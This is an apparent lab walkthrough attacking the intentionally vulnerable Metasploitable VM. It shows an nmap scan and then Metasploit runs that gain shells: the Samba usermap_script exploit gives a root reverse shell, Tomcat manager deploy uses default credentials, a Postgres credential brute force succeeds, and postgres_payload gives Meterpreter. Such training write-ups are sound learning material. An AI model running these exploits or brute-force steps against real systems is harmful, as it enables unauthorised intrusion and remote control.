

# metasploitable 1 walkthrough

nmap is a great tool for scanning ports and finding network services on a machine.

We will run nmap :

```
(root@kali)~[~]
# nmap 192.168.0.106
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-01 23:49 IST
Nmap scan report for 192.168.0.106
Host is up (0.0026s latency).
Not shown: 988 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5432/tcp  open  postgresql
8009/tcp  open  ajp13
8180/tcp  open  unknown
MAC Address: 00:0C:29:C4:1B:DB (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds
```

## Exploitation and Privilege Escalation

### 1] Samba

- **msf > use exploit/multi/samba/usermap\_script**
- **msf exploit(usermap\_script) > show options**
- **Set rhost 192.168.0.106**

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(root@kali)-[~]
# msfconsole -q
msf6 > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST            no        The local client address
  CPORT      CPORT            no        The local client port
  Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT            yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  --      -
  LHOST      192.168.0.105   yes       The listen address (an interface may be specified)
  LPORT      4444             yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(multi/samba/usermap_script) > set rhosts 192.168.0.106
rhosts => 192.168.0.106
msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 192.168.0.105:4444
[*] Command shell session 1 opened (192.168.0.105:4444 -> 192.168.0.106:52099) at 2024-11-01 23:54:45 +0530

whoami
root

```

## 2] Apache Tomcat

- **msf > use exploit/multi/http/tomcat\_mgr\_deploy**
- **msf exploit(tomcat\_mgr\_deploy) > show options**
- **Set HttpPassword tomcat**
- **Set HttpUsername tomcat**
- **Set RHOST 192.168.0.106**
- **Set target 0**

```
(root@kali)-[~]
# msfconsole -q
msf6 > use exploit/multi/http/tomcat_mgr_deploy
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/http/tomcat_mgr_deploy) > show options

Module options (exploit/multi/http/tomcat_mgr_deploy):



| Name         | Current Setting | Required | Description                                                                                                                                                                                         |
|--------------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HttpPassword |                 | no       | The password for the specified username                                                                                                                                                             |
| HttpUsername |                 | no       | The username to authenticate as                                                                                                                                                                     |
| PATH         | /manager        | yes      | The URI path of the manager app (/deploy and /undeploy will be used)                                                                                                                                |
| Proxies      |                 | no       | A proxy chain of format type:host:port[,type:host:port][...]                                                                                                                                        |
| RHOSTS       |                 | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT        | 80              | yes      | The target port (TCP)                                                                                                                                                                               |
| SSL          | false           | no       | Negotiate SSL/TLS for outgoing connections                                                                                                                                                          |
| VHOST        |                 | no       | HTTP server virtual host                                                                                                                                                                            |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.0.105   | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |



View the full module info with the info, or info -d command.

msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpPassword tomcat
HttpPassword => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set HttpUsername tomcat
HttpUsername => tomcat
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf6 exploit(multi/http/tomcat_mgr_deploy) > set RPORT 8180
RPORT => 8180
msf6 exploit(multi/http/tomcat_mgr_deploy) > set target 0
target => 0
msf6 exploit(multi/http/tomcat_mgr_deploy) > run

[*] Started reverse TCP handler on 192.168.0.105:4444
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux x86"
[*] Uploading 6230 bytes as y0e9GqN8dXtF2N8yAXLqkud49w.war ...
[*] Executing /y0e9GqN8dXtF2N8yAXLqkud49w/81r5rkkYFKjanko5Pwuuj.jsp ...
[*] Undeploying y0e9GqN8dXtF2N8yAXLqkud49w ...
[*] Sending stage (57971 bytes) to 192.168.0.106
[*] Meterpreter session 1 opened (192.168.0.105:4444 -> 192.168.0.106:33154) at 2024-11-02 00:21:14 +0530

meterpreter > |
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meterpreter > ls
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```
Listing: /
```

Mode	Size	Type	Last modified	Name
040444/r--r--r--	4096	dir	2010-03-17 04:41:30 +0530	bin
040444/r--r--r--	1024	dir	2010-04-29 02:24:21 +0530	boot
040444/r--r--r--	4096	dir	2010-03-17 04:25:51 +0530	cdrom
040444/r--r--r--	13900	dir	2024-11-01 23:36:41 +0530	dev
040444/r--r--r--	4096	dir	2024-11-01 23:36:40 +0530	etc
040444/r--r--r--	4096	dir	2010-04-16 11:46:02 +0530	home
040444/r--r--r--	4096	dir	2010-03-17 04:27:40 +0530	initrd
100444/r--r--r--	7933237	fil	2010-03-17 04:42:25 +0530	initrd.img
040444/r--r--r--	4096	dir	2010-04-28 09:40:44 +0530	lib
040000/-----	16384	dir	2010-03-17 04:25:15 +0530	lost+found
040444/r--r--r--	4096	dir	2010-03-17 04:25:52 +0530	media
040444/r--r--r--	4096	dir	2010-04-29 01:46:56 +0530	mnt
040444/r--r--r--	4096	dir	2010-03-17 04:27:39 +0530	opt
040444/r--r--r--	0	dir	2024-11-01 23:35:20 +0530	proc
040444/r--r--r--	4096	dir	2010-05-18 07:13:54 +0530	root
040444/r--r--r--	4096	dir	2010-03-24 03:24:16 +0530	sbin
040444/r--r--r--	4096	dir	2010-03-17 04:27:38 +0530	srv
040444/r--r--r--	0	dir	2024-11-01 23:35:21 +0530	sys
040666/rw-rw-rw-	4096	dir	2024-11-02 00:21:18 +0530	tmp
040444/r--r--r--	4096	dir	2010-04-28 09:36:37 +0530	usr
040444/r--r--r--	4096	dir	2010-03-17 19:38:23 +0530	var
100444/r--r--r--	1987288	fil	2008-04-10 22:25:41 +0530	vmlinuz

```
meterpreter > █
```

### 3] PostgresLOGIN

- **msf > use auxiliary/scanner/postgres/postgres\_login**
- **msf exploit(postgres\_login) > show options**
- **Set RHOSTS 192.168.0.106**

```
(root@kali)-[~]
# msfconsole -q
msf6 > use auxiliary/scanner/postgres/postgres_login
[*] New in Metasploit 6.4 - The CreateSession option within this module can open an interactive session
msf6 auxiliary(scanner/postgres/postgres_login) > show options

Module options (auxiliary/scanner/postgres/postgres_login):
```

Name	Current Setting	Required	Description
ANONYMOUS_LOGIN	false	yes	Attempt to login with a blank username and password
BLANK_PASSWORDS	false	no	Try blank passwords for all users
BRUTEFORCE_SPEED	5	yes	How fast to brute force, from 0 to 5
CreateSession	false	no	Create a new session for every successful login
DATABASE	template1	yes	The database to authenticate against
DB_ALL_CREDS	false	no	Try each user/password couple stored in the current database
DB_ALL_PASS	false	no	Add all passwords in the current database to the list
DB_ALL_USERS	false	no	Add all users in the current database to the list
DB_SKIP_EXISTING	none	no	Skip existing credentials stored in the current database (Accepted: none, user, user@realm)
PASSWORD		no	A specific password to authenticate with
PASS_FILE	/usr/share/metasploit-framework/data/wordlists/postgre	no	File containing passwords, one per line
PROXIES		no	A proxy chain of format type:host:port[,type:host:port][ ... ]
RETURN_ROWSET	true	no	Set to true to see query result sets
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.ht</a>
RPORT	5432	yes	The target port
STOP_ON_SUCCESS	false	yes	Stop guessing when a credential works for a host
THREADS	1	yes	The number of concurrent threads (max one per host)
USERNAME		no	A specific username to authenticate as
USERPASS_FILE	/usr/share/metasploit-framework/data/wordlists/postgre	no	File containing (space-separated) users and passwords, one pair per line
USER_AS_PASS	false	no	Try the username as the password for all users
USER_FILE	/usr/share/metasploit-framework/data/wordlists/postgre	no	File containing users, one per line
VERBOSE	true	yes	Whether to print output for all attempts

View the full module info with the `info`, or `info -d` command.

```
msf6 auxiliary(scanner/postgres/postgres_login) > set RHOSTS 192.168.0.106
RHOSTS => 192.168.0.106
msf6 auxiliary(scanner/postgres/postgres_login) > run

[!] No active DB -- Credential data will not be saved!
[-] 192.168.0.106:5432 - LOGIN FAILED: :@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: :tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: :postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: :password@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: :admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: postgres:@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: postgres:tiger@template1 (Incorrect: Invalid username or password)
[+] 192.168.0.106:5432 - Login Successful: postgres:postgres@template1
[-] 192.168.0.106:5432 - LOGIN FAILED: scott:@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: scott:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: scott:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: scott:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: scott:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:tiger@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:postgres@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:admin@template1 (Incorrect: Invalid username or password)
[-] 192.168.0.106:5432 - LOGIN FAILED: admin:password@template1 (Incorrect: Invalid username or password)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Brute force completed, 1 credential was successful.
[*] You can open a Postgres session with these credentials and CreateSession set to true
[*] Auxiliary module execution completed
```

## 4] Telnet

- telnet 192.168.0.106
- Enter password and enter the victim machine

```
(root@kali)-[~]
# telnet 192.168.0.106
Trying 192.168.0.106...
Connected to 192.168.0.106.
Escape character is '^]'.
Ubuntu 8.04
metasploitable login: user
Password:
Last login: Sun Nov 10 08:18:46 EST 2024 from 192.168.0.105 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
user@metasploitable:~$ cd ..
user@metasploitable:/home$
user@metasploitable:/home$ ls
ftp  msfadmin  service  user
user@metasploitable:/home$
```

## 5] PostgreSQL

- **msf > use exploit/linux/postgres/postgres\_payload**
- **msf exploit(postgres\_payload) > show options**
- **Set RHOSTS 192.168.0.106**

```

(root@kali)-[~]
# msfconsole -q
msf6 > use exploit/linux/postgres/postgres_payload
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
msf6 exploit(linux/postgres/postgres_payload) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf6 exploit(linux/postgres/postgres_payload) > show options

Module options (exploit/linux/postgres/postgres_payload):



| Name    | Current Setting | Required | Description           |
|---------|-----------------|----------|-----------------------|
| VERBOSE | false           | no       | Enable verbose output |



Used when connecting via an existing SESSION:



| Name    | Current Setting | Required | Description                       |
|---------|-----------------|----------|-----------------------------------|
| SESSION |                 | no       | The session to run this module on |



Used when making a new connection via RHOSTS:



| Name     | Current Setting | Required | Description                                                                                                                                                                                         |
|----------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| DATABASE | postgres        | no       | The database to authenticate against                                                                                                                                                                |
| PASSWORD | postgres        | no       | The password for the specified username. Leave blank for a random password.                                                                                                                         |
| RHOSTS   |                 | no       | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT    | 5432            | no       | The target port                                                                                                                                                                                     |
| USERNAME | postgres        | no       | The username to authenticate as                                                                                                                                                                     |



Payload options (linux/x86/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST |                 | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Linux x86 |



View the full module info with the info, or info -d command.

msf6 exploit(linux/postgres/postgres_payload) > set rhosts 192.168.0.104
rhosts => 192.168.0.104
msf6 exploit(linux/postgres/postgres_payload) > set lhost 192.168.0.105
lhost => 192.168.0.105
msf6 exploit(linux/postgres/postgres_payload) > run

[*] Started reverse TCP handler on 192.168.0.105:4444
[*] 192.168.0.104:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] Uploaded as /tmp/kXJvIiYY.so, should be cleaned up automatically
[*] Sending stage (1017704 bytes) to 192.168.0.104
[*] Meterpreter session 1 opened (192.168.0.105:4444 -> 192.168.0.104:46916) at 2024-11-13 11:46:09 +0530

meterpreter > shell
Process 5544 created.
Channel 1 created.
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

```